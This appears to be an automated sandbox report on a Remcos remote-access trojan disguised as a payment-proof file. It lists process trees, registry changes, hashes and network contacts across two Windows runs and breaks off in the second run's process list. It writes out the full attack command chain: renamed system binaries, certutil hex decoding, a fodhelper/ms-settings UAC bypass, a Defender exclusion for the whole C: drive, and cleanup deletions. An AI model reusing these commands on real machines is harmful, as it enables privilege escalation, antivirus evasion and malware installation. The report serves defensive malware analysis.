Malware Analysis Report

2024-12-07 22:54

Sample ID 240513-pvjrsafe64
Target 13052024_1238_10052024_PrintRequest Proof of transfer copy.Tar
SHA256 48f15e2cbfe8eb5c96bc14092ce38a79b9c54d52c687cc8301b6b4787b944572
Tags
remcos newremotehost-aprilfile persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

48f15e2cbfe8eb5c96bc14092ce38a79b9c54d52c687cc8301b6b4787b944572

Threat Level: Known bad

The file 13052024_1238_10052024_PrintRequest Proof of transfer copy.Tar was found to be: Known bad.

Malicious Activity Summary

remcos newremotehost-aprilfile persistence rat

Remcos

Executes dropped EXE

Checks computer location settings

Loads dropped DLL

Adds Run key to start application

Enumerates physical storage devices

Program crash

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Script User-Agent

Suspicious use of WriteProcessMemory

Modifies registry class

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious use of AdjustPrivilegeToken

Kills process with taskkill

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-13 12:38

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-13 12:38

Reported

2024-05-13 12:41

Platform

win7-20240215-en

Max time kernel

142s

Max time network

125s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\PrintRequest Proof of transfer copy.cmd"

Signatures

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Public\Libraries\Ping_c.pif

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\ms-settings C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\Ping_c.pif N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2952 wrote to memory of 3048 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2952 wrote to memory of 3048 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2952 wrote to memory of 3048 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2952 wrote to memory of 1976 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 1976 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 1976 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2764 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2764 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2764 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 1736 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 1736 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 1736 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1736 wrote to memory of 2060 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1736 wrote to memory of 2060 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1736 wrote to memory of 2060 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2952 wrote to memory of 2588 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2588 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2588 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2588 wrote to memory of 2644 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2588 wrote to memory of 2644 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2588 wrote to memory of 2644 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2952 wrote to memory of 2628 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2628 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2628 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2628 wrote to memory of 2564 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2628 wrote to memory of 2564 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2628 wrote to memory of 2564 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2952 wrote to memory of 2908 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2908 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2908 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2908 wrote to memory of 2748 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2908 wrote to memory of 2748 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2908 wrote to memory of 2748 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2952 wrote to memory of 2464 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2464 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2464 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2464 wrote to memory of 2648 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2464 wrote to memory of 2648 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2464 wrote to memory of 2648 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2952 wrote to memory of 2460 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2460 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2460 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2460 wrote to memory of 2604 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2460 wrote to memory of 2604 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2460 wrote to memory of 2604 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2604 wrote to memory of 2488 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2604 wrote to memory of 2488 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2604 wrote to memory of 2488 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2488 wrote to memory of 2560 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2488 wrote to memory of 2560 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2488 wrote to memory of 2560 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2952 wrote to memory of 2732 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2732 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2732 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2732 wrote to memory of 3016 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2732 wrote to memory of 3016 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2732 wrote to memory of 3016 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2952 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2952 wrote to memory of 2664 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2664 wrote to memory of 2876 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2664 wrote to memory of 2876 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2664 wrote to memory of 2876 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2952 wrote to memory of 1412 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Ping_c.pif

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\PrintRequest Proof of transfer copy.cmd"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\PrintRequest Proof of transfer copy.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\PrintRequest Proof of transfer copy.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\Libraries\Ping_c.pif

C:\Users\Public\Libraries\Ping_c.pif

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1412 -s 680

Network

Country Destination Domain Proto
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.137.11:443 onedrive.live.com tcp
US 13.107.137.11:443 onedrive.live.com tcp

Files

\Users\Public\alpha.exe

MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

\Users\Public\kn.exe

MD5 ec1fd3050dbc40ec7e87ab99c7ca0b03
SHA1 ae7fdfc29f4ef31e38ebf381e61b503038b5cb35
SHA256 1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
SHA512 4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

\Users\Public\xkn.exe

MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

memory/2604-43-0x000000001B520000-0x000000001B802000-memory.dmp

memory/2604-44-0x0000000001E70000-0x0000000001E78000-memory.dmp

C:\Users\Public\ger.exe

MD5 9d0b3066fe3d1fd345e86bc7bcced9e4
SHA1 e05984a6671fcfecbc465e613d72d42bda35fd90
SHA256 4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e
SHA512 d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

C:\Users\Public\Ping_c.mp4

MD5 087c460218a775c55d49c425a2e2c8bf
SHA1 051b66d913eb97455ae65ed377f19766c739675a
SHA256 4b3d1b31395c3babbdbc78210b79d77e745b5fbac9eb24c4018d87524c9393f2
SHA512 5a505c646eb798b974c5c90831ea1b67cd2d56d134ac52c597dab250cde8b18870a09748ab5f9b1f8f154378948b86ae590d3937bfeb09f10b29b0ce70a210d4

C:\Users\Public\Libraries\Ping_c.pif

MD5 69e06033de99a2a903f1be2222d9a649
SHA1 d2e2bae5415ed8e61cc9981151fb276f9fc17b18
SHA256 4f85cd88e11bdb421b4a6949fbd42886e0aec09b7f43b651db8c3531be33ff51
SHA512 d437c81534b0b9e3da2c0a333327ce8cad53859b57847d7f9ccc53ba631ca311d198372b4438b843578e4c6c6cf662fae06b70bde2a4f8aaa949126f4cf8c033

memory/1412-78-0x0000000000400000-0x00000000004E8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-13 12:38

Reported

2024-05-13 12:41

Platform

win10v2004-20240508-en

Max time kernel

148s

Max time network

150s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PrintRequest Proof of transfer copy.cmd"

Signatures

Remcos

rat remcos

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation C:\Windows \System32\per.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Njfqueit = "C:\\Users\\Public\\Njfqueit.url" C:\Users\Public\Libraries\Ping_c.pif N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\ms-settings C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Public\xkn.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\Ping_c.pif N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1620 wrote to memory of 2436 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1620 wrote to memory of 2436 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1620 wrote to memory of 1580 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 1580 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 4520 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 4520 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 2548 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 2548 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2548 wrote to memory of 3224 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2548 wrote to memory of 3224 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1620 wrote to memory of 3916 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 3916 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3916 wrote to memory of 4084 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 3916 wrote to memory of 4084 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1620 wrote to memory of 3228 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 3228 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3228 wrote to memory of 1008 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3228 wrote to memory of 1008 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1620 wrote to memory of 2808 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 2808 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2808 wrote to memory of 2028 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2808 wrote to memory of 2028 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1620 wrote to memory of 4228 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 4228 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4228 wrote to memory of 752 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 4228 wrote to memory of 752 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1620 wrote to memory of 1476 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 1476 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1476 wrote to memory of 4856 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 1476 wrote to memory of 4856 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 4856 wrote to memory of 2844 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 4856 wrote to memory of 2844 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2844 wrote to memory of 1820 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2844 wrote to memory of 1820 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 1620 wrote to memory of 940 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 940 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 940 wrote to memory of 5068 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 940 wrote to memory of 5068 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1620 wrote to memory of 2972 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 1620 wrote to memory of 2972 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 1620 wrote to memory of 428 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 428 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 428 wrote to memory of 3516 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 428 wrote to memory of 3516 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1620 wrote to memory of 2600 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Ping_c.pif
PID 1620 wrote to memory of 2600 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Ping_c.pif
PID 1620 wrote to memory of 2600 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Ping_c.pif
PID 1620 wrote to memory of 1348 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 1348 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 2528 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 2528 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 680 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 680 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 3496 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 3496 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 4500 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 4500 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 2540 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 2540 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 1780 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 1780 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 3472 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1620 wrote to memory of 3472 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2600 wrote to memory of 2712 N/A C:\Users\Public\Libraries\Ping_c.pif C:\Windows\SysWOW64\extrac32.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PrintRequest Proof of transfer copy.cmd"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\PrintRequest Proof of transfer copy.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\PrintRequest Proof of transfer copy.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

